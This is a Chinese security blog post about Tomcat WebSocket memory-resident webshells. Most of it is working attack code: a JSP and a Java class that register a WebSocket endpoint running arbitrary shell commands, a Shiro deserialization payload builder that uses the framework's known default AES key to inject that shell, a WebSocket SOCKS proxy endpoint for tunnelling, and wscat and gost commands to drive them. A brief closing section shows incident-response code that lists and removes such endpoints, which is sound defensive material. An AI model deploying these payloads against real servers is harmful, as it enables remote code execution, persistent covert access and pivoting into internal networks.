记websocket内存马及反序列化注入及应急响应

前言:websocket内存马及反序列化注入和应急响应的方法笔记记录

担心到时候应急响应的时候翻车,所以这里先做好相关的准备

参考文章:https://xz.aliyun.com/t/11549

什么是websocket

WebSocket是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。这样的特点,使得它在一些实时性要求比较高的场景效果斐然(比如微信朋友圈实时通知、在线协同编辑等)。主流浏览器以及一些常见服务端通信框架(Tomcat、netty、undertow、webLogic等)都对WebSocket进行了技术支持。

websocket内存马动态注入

jsp注入代码如下

<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>

<%!
    public static class C extends Endpoint implements MessageHandler.Whole<String> {
        private Session session;
        @Override
        public void onMessage(String s) {
            try {
                Process process;
                boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
                if (bool) {
                    process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
                } else {
                    process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
                }
                InputStream inputStream = process.getInputStream();
                StringBuilder stringBuilder = new StringBuilder();
                int i;
                while ((i = inputStream.read()) != -1)
                    stringBuilder.append((char)i);
                inputStream.close();
                process.waitFor();
                session.getBasicRemote().sendText(stringBuilder.toString());
            } catch (Exception exception) {
                exception.printStackTrace();
            }
        }
        @Override
        public void onOpen(final Session session, EndpointConfig config) {
            this.session = session;
            session.addMessageHandler(this);
        }
    }
%>

<%
    String path = request.getParameter("path");
    ServletContext servletContext = request.getSession().getServletContext();
    ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
    ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
    try {
        if (servletContext.getAttribute(path) == null){
            container.addEndpoint(configEndpoint);
            servletContext.setAttribute(path,path);
        }
        out.println("success, connect url path: " + servletContext.getContextPath() + path);
    } catch (Exception e) {
        out.println(e.toString());
    }
%>

访问测试的注入地址, http://127.0.0.1:8081/shiro/readme.jsp?path=/test_websocket

接着通过ws协议通信命令,我这里用的是wscat,如下图所示

C:\Users\dell\AppData\Roaming\npm>wscat -c ws://127.0.0.1:8081/shiro/test_websocket -x whoami

模拟shiro反序列化websocket内存马动态注入

找了下网上没有相关的文章,需要自己花点时间进行琢磨,这里需要先跟一遍是如何将当前ManualMemWebsocket类注册到websocket服务中的,核心就是如下代码

    ServletContext servletContext = request.getSession().getServletContext();
    ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
    ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
    try {
        if (servletContext.getAttribute(path) == null){
            container.addEndpoint(configEndpoint);
            servletContext.setAttribute(path,path);
        }
        out.println("success, connect url path: " + servletContext.getContextPath() + path);
    } catch (Exception e) {
        out.println(e.toString());
    }

其中创建对应恶意ServerEndpointConfig类就是Eval_Websocket.java,如下代码所示

public class Eval_Websocket extends Endpoint implements MessageHandler.Whole<String> {
    private Session session;
    @Override
    public void onMessage(String s) {
        try {
            Process process;
            boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
            if (bool) {
                process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
            } else {
                process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
            }
            InputStream inputStream = process.getInputStream();
            StringBuilder stringBuilder = new StringBuilder();
            int i;
            while ((i = inputStream.read()) != -1)
                stringBuilder.append((char)i);
            inputStream.close();
            process.waitFor();
            session.getBasicRemote().sendText(stringBuilder.toString());
        } catch (Exception exception) {
            exception.printStackTrace();
        }
    }

    @Override
    public void onOpen(final Session session, EndpointConfig config) {
        this.session = session;
        session.addMessageHandler(this);
    }
}

我这里直接用AbstractTranslet子类反序列化gadget来将Eval_MemoryWebsocket中的Eval_Websocket注入到中间件中

Eval_MemoryWebsocket.java

public class Eval_MemoryWebsocket extends AbstractTranslet {

    public Eval_MemoryWebsocket() throws Exception {
        try {
            String path = "/zpchcbd";
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
            ServletContext servletContext = standardContext.getServletContext();
            
            ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(Eval_Websocket.class, path).build();
            ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
            if (servletContext.getAttribute(path) == null){
                container.addEndpoint(configEndpoint);
                servletContext.setAttribute(path,path);
                System.out.println("success, connect url path: " + servletContext.getContextPath() + path);
            }

        }catch (Exception e)
        {
            e.printStackTrace();
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

然后这里搭建一个shiro环境,模拟shiro反序列化实现注入websocket内存马通信,CommonsBeanutilsShiroMemoryWebsocket.java代码实现构造shiro反序列化websocket注入payload

CommonsBeanutilsShiroMemoryWebsocket.java

/*
 * TemplatesImpl
 * CommonsBeanutils 1.8.3
 * commons-collections4 4.0
 * test for websocket memory
 * */

public class CommonsBeanutilsShiroMemoryWebsocket {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }

    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Eval_MemoryWebsocket.class.getName());
        byte[] payloads = new CommonsBeanutilsShiroMemoryWebsocket().getPayload(clazz.toBytecode());
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.println(ciphertext.toString());
    }
}

然后你会发现这样子是不行的,因为是ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(Eval_Websocket.class, path).build();,这一点会出现问题,此时目标环境中是没有加载Eval_Websocket类,所以也就没有对应的Eval_Websocket的class对象,自然就不会成功了

所以当我们在目标环境中执行反序列化的时候,需要先加载Eval_Websocket,获得Eval_Websocket.class,然后在进行创建对应的ServerEndpointConfig对象,最后将其添加到ServerContainer对象中去,这里就需要用到DefineClass方法,这里先将其Eval_Websocket.class转换为字节码数组

参考文章:https://www.freebuf.com/articles/others-articles/167932.html

            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            byte[] bytes = new byte[]{-54,-2,-70,-66,0,0,0,52...........................};
            Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            method.setAccessible(true);
            Class aClass = (Class) method.invoke(classLoader, bytes, 0, bytes.length);

最终的代码如下所示

public class Eval_MemoryWebsocket extends AbstractTranslet {

    public Eval_MemoryWebsocket() throws Exception {
        try {
            String path = "/test_websocket";
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
            ServletContext servletContext = standardContext.getServletContext();

            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            byte[] bytes = new byte[]{-54,-2,-70,-66,0,0,0,52,0,-109,10,0....................};
            Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            method.setAccessible(true);
            Class aClass = (Class) method.invoke(classLoader, bytes, 0, bytes.length);

            ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(aClass, path).build();
            ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
            if (servletContext.getAttribute(path) == null){
                container.addEndpoint(configEndpoint);
                servletContext.setAttribute(path,path);
                System.out.println("success, connect url path: " + servletContext.getContextPath() + path);
            }

        }catch (Exception e)
        {
            e.printStackTrace();
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

可以看到注入成功了

命令测试,跟上面一样,如下图所示

C:\Users\dell\AppData\Roaming\npm>wscat -c ws://127.0.0.1:8081/shiro/test_websocket -x whoami

websocket 代理注入

一样,将其下面的类转换为字节码然后进行替换即可

package com.zpchcbd.shiro;

import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;

public class EvalProxyWebsocket extends Endpoint {
    long i =0;
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    HashMap<String, AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
    static class Attach {
        public AsynchronousSocketChannel client;
        public Session channel;
    }

    void readFromServer(Session channel,AsynchronousSocketChannel client){
        final ByteBuffer buffer = ByteBuffer.allocate(50000);
        Attach attach = new Attach();
        attach.client = client;
        attach.channel = channel;
        client.read(buffer, attach, new CompletionHandler<Integer, Attach>() {
            @Override
            public void completed(Integer result, final Attach scAttachment) {
                buffer.clear();
                try {
                    if(buffer.hasRemaining() && result>=0)
                    {
                        byte[] arr = new byte[result];
                        ByteBuffer b = buffer.get(arr,0,result);
                        baos.write(arr,0,result);
                        ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
                        if (scAttachment.channel.isOpen()) {
                            scAttachment.channel.getBasicRemote().sendBinary(q);
                        }
                        baos = new ByteArrayOutputStream();
                        readFromServer(scAttachment.channel,scAttachment.client);
                    }else{
                        if(result > 0)
                        {
                            byte[] arr = new byte[result];
                            ByteBuffer b = buffer.get(arr,0,result);
                            baos.write(arr,0,result);
                            readFromServer(scAttachment.channel,scAttachment.client);
                        }
                    }
                } catch (Exception ignored) {}
            }
            @Override
            public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();}
        });
    }

    void process(ByteBuffer z,Session channel)
    {
        try{
            if(i>1)
            {
                AsynchronousSocketChannel client = map.get(channel.getId());
                client.write(z).get();
                z.flip();
                z.clear();
            }
            else if(i==1)
            {
                String values = new String(z.array());
                String[] array = values.split(" ");
                String[] addrarray = array[1].split(":");
                AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
                int po = Integer.parseInt(addrarray[1]);
                InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
                Future<Void> future = client.connect(hostAddress);
                try {
                    future.get(10, TimeUnit.SECONDS);
                } catch(Exception ignored){
                    channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
                    return;
                }
                map.put(channel.getId(), client);
                readFromServer(channel,client);
                channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
            }
        }catch(Exception ignored){
        }
    }

    @Override
    public void onOpen(final Session session, EndpointConfig config) {
        i=0;
        session.setMaxBinaryMessageBufferSize(1024*1024*20);
        session.setMaxTextMessageBufferSize(1024*1024*20);
        session.addMessageHandler(new MessageHandler.Whole<ByteBuffer>() {
            @Override
            public void onMessage(ByteBuffer message) {
                try {
                    message.clear();
                    i++;
                    process(message,session);
                } catch (Exception ignored) {
                }
            }
        });
    }
}

执行命令如下所示

gost-windows-amd64.exe -L "socks5://:1080" -F ws://127.0.0.1:8081?path=/shiro/test_websocket

内存马的应急响应

参考文章:https://www.freebuf.com/articles/web/339361.html

<%@ page import="org.apache.tomcat.websocket.server.WsServerContainer" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.Set" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="javax.websocket.server.ServerEndpointConfig" %><%-- Created by IntelliJ IDEA. --%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
  // 通过 request 的 context 获取 ServerContainer
  WsServerContainer wsServerContainer = (WsServerContainer) request.getServletContext().getAttribute(ServerContainer.class.getName());

  // 利用反射获取 WsServerContainer 类中的私有变量 configExactMatchMap
  Class<?> obj = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer");
  Field field = obj.getDeclaredField("configExactMatchMap");
  field.setAccessible(true);
  Map<String, Object> configExactMatchMap = (Map<String, Object>) field.get(wsServerContainer);

  // 遍历configExactMatchMap, 打印所有注册的 websocket 服务
  Set<String> keyset = configExactMatchMap.keySet();
  Iterator<String> iterator = keyset.iterator();
  while (iterator.hasNext()){
    String key = iterator.next();
    Object object = wsServerContainer.findMapping(key);
    Class<?> wsMappingResultObj = Class.forName("org.apache.tomcat.websocket.server.WsMappingResult");
    Field configField = wsMappingResultObj.getDeclaredField("config");
    configField.setAccessible(true);
    ServerEndpointConfig config1 = (ServerEndpointConfig)configField.get(object);
    Class<?> clazz = config1.getEndpointClass();

    // 打印 ws 服务 url, 对应的 class
    out.println(String.format("websocket name:%s,  websocket class: %s", key, clazz.getName()));
  }

  // 如果参数带name, 删除该服务,名字为name参数值
  if(request.getParameter("name")!= null){
    configExactMatchMap.remove(request.getParameter("name"));
    out.println(String.format("delete ws service: %s", request.getParameter("name")));
  }
%>

如下图所示,可以看到列出了刚才注入路径为/shiro/test_websocket的内存马

posted @ 2022-07-28 23:41  zpchcbd  阅读(1560)  评论(1)    收藏  举报